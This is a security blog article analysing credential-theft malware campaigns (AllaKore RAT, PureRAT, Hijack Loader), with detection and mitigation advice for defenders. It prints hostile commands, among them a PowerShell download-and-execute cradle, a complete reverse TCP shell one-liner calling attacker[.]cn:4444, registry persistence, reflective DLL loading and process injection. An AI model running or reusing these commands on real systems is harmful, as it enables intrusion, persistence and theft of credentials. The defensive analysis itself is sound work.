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From Email to Exploit: Dissecting a Real-World Credential Theft Campaign

Published

4 weeks ago

22 July 2025

Dissecting the internals of modern credential theft campaigns with command-line insights, evasion techniques, and real-world behavior.

🧬 Introduction

In 2025, cybercriminals are no longer relying on crude malware. Instead, they’re using modular loaders, encrypted payloads, and remote access trojans (RATs) that silently infect systems using trusted binaries and script obfuscation. This article unpacks the technical workings of three major players:

AllaKore RAT – Modified for credential theft and remote control
PureRAT – Delivered via encrypted loaders and injected into system processes
Hijack Loader – A flexible dropper for malware-as-a-service operations

We’ll walk through attack chains, command-line behavior, PowerShell scripts, and defense tips for blue teams and sysadmins.

🕷️ 1. AllaKore RAT – How It Infects and Operates

📌 Attack Vector:

Victim receives a ZIP file via phishing email:
Actualiza_Policy_v01.zip → Contains:

proxy.exe (legit Chrome proxy)
setup.MSI (malicious installer)

🧰 Installer Logic:

The .MSI uses custom actions to invoke a .NET downloader. Example from decompiled MSI:

powershell

Start-Process -WindowStyle Hidden -FilePath "powershell.exe" -ArgumentList "-NoProfile -ExecutionPolicy Bypass -Command IEX(New-Object Net.WebClient).DownloadString('http://malicious-site[.]com/payload.ps1')"

The PowerShell script downloads a binary and executes it:

powershell

(New-Object System.Net.WebClient).DownloadFile("http://malicious-site[.]com/rat.exe", "$env:APPDATA\rat.exe")
Start-Process "$env:APPDATA\rat.exe"

🐍 Payload Behavior (AllaKore RAT):

Once executed, rat.exe:

Creates a persistence key:

cmd

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v rat_client /t REG_SZ /d "%APPDATA%\rat.exe"

Opens a reverse TCP shell using:

powershell

$tcp = New-Object Net.Sockets.TcpClient("attacker[.]cn", 4444);$stream = $tcp.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}

Keylogging uses Windows APIs (GetAsyncKeyState)
Sends keystrokes via socket to C2 server.

👻 2. PureRAT via Ghost Crypt – Injection and Evasion

📌 Delivery via Fake PDF Email

Link to PDF downloads payload.zip
JavaScript inside PDF executes dropper.js

🔒 Crypter-as-a-Service (Ghost Crypt)

Encrypted DLLs are embedded and injected into memory using Windows built-ins:

powershell

[Reflection.Assembly]::Load([IO.File]::ReadAllBytes("ghost.dll"))
$method = $assembly.GetType("Ghost.Main").GetMethod("Launch")
$method.Invoke($null, $null)

Injected into system process:

powershell

$proc = Get-Process -Name "csc"
$handle = [NativeMethods]::OpenProcess(0x1F0FFF, $false, $proc.Id)
[NativeMethods]::WriteProcessMemory(...)

“Process Hypnosis” – malware loads itself into csc.exe to evade AV and EDR.

🧪 Behavior:

Injects PureRAT into memory
Monitors clipboard for crypto wallet addresses
Captures:
- Browser logins
- Screen
- Clipboard
- Discord tokens

Uses built-in functions like:

cmd

tasklist /v | findstr csc.exe

To validate injection is undetected.

🎯 3. Hijack Loader – Modular Dropper in Setup Wrappers

📦 Delivered as Inno Setup Executables

Common file names:

AcrobatSetup.exe
DriverInstall.exe

📁 Behavior:

Drops legitimate app (e.g., Foxit Reader)
Hidden DLL in %TEMP% folder
DLL executed with rundll32.exe:

cmd

rundll32.exe temp\shadow.dll,EntryPoint

Shadow.dll contacts C2 and downloads payloads:

powershell

Invoke-WebRequest -Uri http://cnc-loader[.]org/dropper.bin -OutFile "$env:TEMP\dropper.exe"

Payloads:
- Neptune RAT
- RedLine Stealer
- Clipper malware

🔐 Detection Tips for Blue Teams

🧩 Indicators of Compromise (IOCs)

Indicator	Example
Suspicious `.MSI` files	setup.MSI installing from external domain
PowerShell download strings	`IEX(New-Object Net.WebClient)...`
Unusual rundll32 behavior	Executing from `%TEMP%` or obfuscated DLLs
Abnormal process tree	`explorer.exe → powershell.exe → rat.exe`
Network behavior	Reverse TCP to ports 4444, 8080, 9050

⚙️ Recommended Tools

Sysinternals Suite – Monitor autoruns, procmon, tcpview
Wireshark – Watch for abnormal DNS and TLS handshakes
Any.Run or JoeSandbox – Analyze malware behavior
YARA Rules – Detect strings in encrypted payloads

🛡️ Mitigation and Hardening

Vector	Mitigation Strategy
Email	Enable DKIM, DMARC, spam filters
Script Exec	Disable PowerShell v2, enforce ConstrainedLanguageMode
Execution	Use AppLocker or WDAC policies
Network	Restrict outbound ports; block TOR/proxy traffic
EDR/XDR	Use behavioral detection and memory scanning

📚 Conclusion

Remote access malware in 2025 is no longer simple. The combination of process injection, DLL crypters, modular loaders, and encrypted delivery chains makes these threats highly evasive.

But knowledge is defense. With proper detection strategies and command-line awareness, you can trace and stop these threats before damage occurs.

📚 Further Learning

🔗 TheHackerNews: Credential Theft and Remote Access Attacks
🔒 Any.Run Malware Sandbox
🎓 MITRE ATT&CK: Remote Access Trojans
📘 Mastering Kali Purple: Vulnerability Management and Penetration Testing by El Mostafa Ouchen

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